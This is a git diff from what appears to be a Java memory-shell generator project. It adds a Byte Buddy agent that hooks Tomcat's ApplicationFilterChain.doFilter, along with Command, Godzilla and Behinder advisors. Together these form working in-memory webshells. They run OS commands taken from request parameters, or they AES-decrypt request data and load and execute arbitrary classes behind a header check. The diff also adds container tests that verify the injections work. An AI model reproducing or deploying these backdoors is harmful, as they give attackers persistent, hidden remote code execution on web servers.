+ content = packer.getPacker().pack(generateResult);
+ assertInjectIsOk(url, shellType, shellTool, content, packer, container);
+ }
+
+ switch (shellTool) {
+ case Godzilla:
+ GodzillaShellTool.testIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
+ break;
+ case Command:
+ CommandShellTool.testIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
+ break;
+ case Behinder:
+ BehinderShellTool.testIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
+ }
+ }
+
+ public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
+ InjectorConfig injectorConfig = new InjectorConfig();
+ if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern);
}
@@ -35,41 +87,38 @@ public class ShellAssertionTool {
.debug(true)
.build();
-
+ ShellToolConfig shellToolConfig = null;
+ String uniqueName = shellTool + shellType + packer.name();
switch (shellTool) {
case Godzilla:
String godzillaPass = "pass";
String godzillaKey = "key";
- String godzillaHeaderValue = "Godzilla" + shellType + packer.name();
- GodzillaConfig godzillaConfig = GodzillaConfig.builder()
+ shellToolConfig = GodzillaConfig.builder()
.pass(godzillaPass).key(godzillaKey)
- .headerName("User-Agent").headerValue(godzillaHeaderValue)
+ .headerName("User-Agent").headerValue(uniqueName)
.build();
- log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, godzillaHeaderValue);
- String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
- assertInjectIsOk(url, shellType, shellTool, content, packer);
- GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
+ log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName);
break;
case Command:
- String paramName = "Command" + shellType + packer.name();
- CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
- String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
- log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
- assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
- CommandShellTool.testIsOk(shellUrl, commandConfig);
+ shellToolConfig = CommandConfig.builder()
+ .paramName(uniqueName)
+ .build();
+ log.info("generated {} command shell with paramName: {}", shellType, uniqueName);
break;
case Behinder:
String behinderPass = "pass";
- String behinderHeaderValue = "Behinder" + shellType + packer.name();
- BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build();
- log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
- String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer);
- assertInjectIsOk(url, shellType, shellTool, behinderContent, packer);
- BehinderShellTool.testIsOk(shellUrl, behinderConfig);
+ shellToolConfig = BehinderConfig.builder()
+ .pass(behinderPass)
+ .headerName("User-Agent")
+ .headerValue(uniqueName)
+ .build();
+ log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName);
+ break;
}
+ return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
}
- public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
+ public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer, GenericContainer> container) {
switch (packer) {
case JSP -> {
String uploadEntry = url + "/upload";
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java
index 1e594de0..ff25c5bc 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.tomcat;
+import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
-import static com.reajason.javaweb.integration.ContainerTool.getUrl;
-import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ContainerTool.tomcatPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -35,6 +36,8 @@ public class Tomcat10ContainerTest {
@Container
public final static GenericContainer> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
+ .withCopyToContainer(jattachFile, "/jattach")
+ .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -63,7 +66,10 @@ public class Tomcat10ContainerTest {
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
- arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+ arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -77,6 +83,6 @@ public class Tomcat10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
index b7c68635..1bf54421 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.tomcat;
+import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
-import static com.reajason.javaweb.integration.ContainerTool.getUrl;
-import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
+import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -37,6 +36,8 @@ public class Tomcat11ContainerTest {
@Container
public final static GenericContainer> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
+ .withCopyToContainer(jattachFile, "/jattach")
+ .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -53,7 +54,10 @@ public class Tomcat11ContainerTest {
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
- arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
+ arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -67,6 +71,6 @@ public class Tomcat11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java
index b9981366..131ffb28 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.tomcat;
+import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
-import static com.reajason.javaweb.integration.ContainerTool.getUrl;
-import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
+import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Tomcat11JRE21ContainerTest {
@Container
public final static GenericContainer> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
+ .withCopyToContainer(jattachFile, "/jattach")
+ .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -52,7 +54,10 @@ public class Tomcat11JRE21ContainerTest {
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
- arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
+ arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -66,6 +71,6 @@ public class Tomcat11JRE21ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
index 405b2d79..a3efe956 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.tomcat;
+import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -14,11 +15,12 @@ import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
+import org.testcontainers.utility.MountableFile;
+import java.nio.file.Path;
import java.util.stream.Stream;
-import static com.reajason.javaweb.integration.ContainerTool.getUrl;
-import static com.reajason.javaweb.integration.ContainerTool.warExpressionFile;
+import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -32,9 +34,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
@Testcontainers
public class Tomcat8ContainerTest {
public static final String imageName = "tomcat:8-jre8";
+
+
@Container
public final static GenericContainer> container = new GenericContainer<>(imageName)
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
+ .withCopyToContainer(jattachFile, "/jattach")
+ .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -80,20 +86,22 @@ public class Tomcat8ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
- arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
+ arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity),
+ arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
- log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
}
}
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java
index 7d3c777e..27aae5a9 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.tomcat;
+import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
-import static com.reajason.javaweb.integration.ContainerTool.getUrl;
-import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +35,8 @@ public class Tomcat9ContainerTest {
@Container
public final static GenericContainer> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
+ .withCopyToContainer(jattachFile, "/jattach")
+ .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -64,7 +65,10 @@ public class Tomcat9ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
- arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+ arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
+ arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
+ arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -78,6 +82,6 @@ public class Tomcat9ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container);
}
}
diff --git a/memshell-java8/build.gradle b/memshell-java8/build.gradle
index ec18feae..0a00df0e 100644
--- a/memshell-java8/build.gradle
+++ b/memshell-java8/build.gradle
@@ -4,16 +4,21 @@ plugins {
group = 'com.reajason.javaweb'
version = ''
-sourceCompatibility = '1.8'
+
+java {
+ sourceCompatibility = JavaVersion.VERSION_1_8
+}
repositories {
mavenCentral()
}
dependencies {
+ implementation project(":memshell")
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
implementation 'org.springframework:spring-webflux:5.3.24'
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
+ implementation 'net.bytebuddy:byte-buddy:1.+'
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
providedCompile 'javax.websocket:javax.websocket-api:1.1'
testImplementation platform('org.junit:junit-bom:5.10.0')
diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java
new file mode 100644
index 00000000..e8eff4d8
--- /dev/null
+++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java
@@ -0,0 +1,71 @@
+package com.reajason.javaweb.memshell.tomcat.behinder;
+
+import net.bytebuddy.asm.Advice;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Base64;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ */
+public class TomcatFilterChainBehinderAdvisor {
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
+
+ @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+ public static boolean enter(
+ @Advice.Argument(value = 0) ServletRequest req,
+ @Advice.Argument(value = 1) ServletResponse res
+ ) {
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
+ try {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ HttpSession session = request.getSession();
+ Map obj = new HashMap(3);
+ obj.put("request", request);
+
+ Field field = null;
+ Class> clazz = obj.getClass();
+ while (clazz != Object.class) {
+ try {
+ field = clazz.getDeclaredField("response");
+ break;
+ } catch (NoSuchFieldException var5) {
+ clazz = clazz.getSuperclass();
+ }
+ }
+ if (field != null) {
+ field.setAccessible(true);
+ response = (HttpServletResponse) field.get(obj);
+ }
+ obj.put("response", response);
+ obj.put("session", session);
+ session.setAttribute("u", pass);
+ Cipher c = Cipher.getInstance("AES");
+ c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+ byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine()));
+ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+ defineClass.setAccessible(true);
+ Class> payload = (Class>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
+ Object instance = payload.newInstance();
+ instance.equals(obj);
+ return true;
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return false;
+ }
+}
\ No newline at end of file
diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java
new file mode 100644
index 00000000..1fd585cf
--- /dev/null
+++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java
@@ -0,0 +1,40 @@
+package com.reajason.javaweb.memshell.tomcat.command;
+
+import net.bytebuddy.asm.Advice;
+
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ */
+public class TomcatFilterChainCommandAdvisor {
+ public static String paramName;
+
+ @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+ public static boolean enter(
+ @Advice.Argument(value = 0) ServletRequest request,
+ @Advice.Argument(value = 1) ServletResponse response
+ ) {
+ System.out.println(paramName);
+ String cmd = request.getParameter(paramName);
+ try {
+ if (cmd != null) {
+ System.out.println(cmd);
+ Process exec = Runtime.getRuntime().exec(cmd);
+ InputStream inputStream = exec.getInputStream();
+ ServletOutputStream outputStream = response.getOutputStream();
+ byte[] buf = new byte[8192];
+ int length;
+ while ((length = inputStream.read(buf)) != -1) {
+ outputStream.write(buf, 0, length);
+ }
+ return true;
+ }
+ } catch (Exception ignored) {
+ }
+ return false;
+ }
+}
\ No newline at end of file
diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java
new file mode 100644
index 00000000..a7492aa2
--- /dev/null
+++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java
@@ -0,0 +1,72 @@
+package com.reajason.javaweb.memshell.tomcat.godzilla;
+
+import net.bytebuddy.asm.Advice;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.lang.reflect.Method;
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ */
+public class TomcatFilterChainGodzillaAdvisor {
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
+
+ @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+ public static boolean enter(
+ @Advice.Argument(value = 0) ServletRequest req,
+ @Advice.Argument(value = 1) ServletResponse res
+ ) {
+ if (!(req instanceof HttpServletRequest)) {
+ return false;
+ }
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
+ try {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ HttpSession session = request.getSession();
+ String parameter = request.getParameter(pass);
+ byte[] data = Base64.getDecoder().decode(parameter);
+ Cipher c = Cipher.getInstance("AES");
+ SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
+ c.init(2, keySpec);
+ data = c.doFinal(data);
+ if (session.getAttribute("payload") == null) {
+ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+ defineClass.setAccessible(true);
+ Class> payload = (Class>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
+ session.setAttribute("payload", payload);
+ } else {
+ request.setAttribute("parameters", data);
+ ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+ Object f = ((Class>) session.getAttribute("payload")).newInstance();
+ f.equals(arrOut);
+ f.equals(request);
+ response.getWriter().write(md5.substring(0, 16));
+ f.toString();
+
+ c.init(1, keySpec);
+ byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
+ String value = Base64.getEncoder().encodeToString(encryptBytes);
+ response.getWriter().write(value);
+ response.getWriter().write(md5.substring(16));
+ }
+ return true;
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return false;
+ }
+}
\ No newline at end of file
diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java
new file mode 100644
index 00000000..d2b0715a
--- /dev/null
+++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java
@@ -0,0 +1,46 @@
+package com.reajason.javaweb.memshell.tomcat.injector;
+
+import net.bytebuddy.agent.builder.AgentBuilder;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.matcher.ElementMatchers;
+
+import java.lang.instrument.Instrumentation;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/28
+ */
+public class TomcatFilterChainAgentInjector {
+
+ public static void premain(String args, Instrumentation inst) throws Exception {
+ launch(inst);
+ }
+
+ public static void agentmain(String args, Instrumentation inst) throws Exception {
+ launch(inst);
+ }
+
+ public static String getClassName() {
+ return "{{advisorName}}";
+ }
+
+ private static void launch(Instrumentation inst) throws Exception {
+ System.out.println("MemShell Agent is starting");
+ Class> interceptorClass = Class.forName(getClassName());
+ new AgentBuilder.Default()
+ .ignore(ElementMatchers.none())
+ .with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
+// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
+// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
+ .type(named("org.apache.catalina.core.ApplicationFilterChain"))
+ .transform(
+ (builder, typeDescription, classLoader,
+ module, protectionDomain) ->
+ builder.visit(Advice.to(interceptorClass).on(named("doFilter")))
+ )
+ .installOn(inst);
+ System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
+ }
+}
\ No newline at end of file
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java
index a2c2006f..31f5c326 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
public BehinderListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java
index 9448737a..0deab211 100644
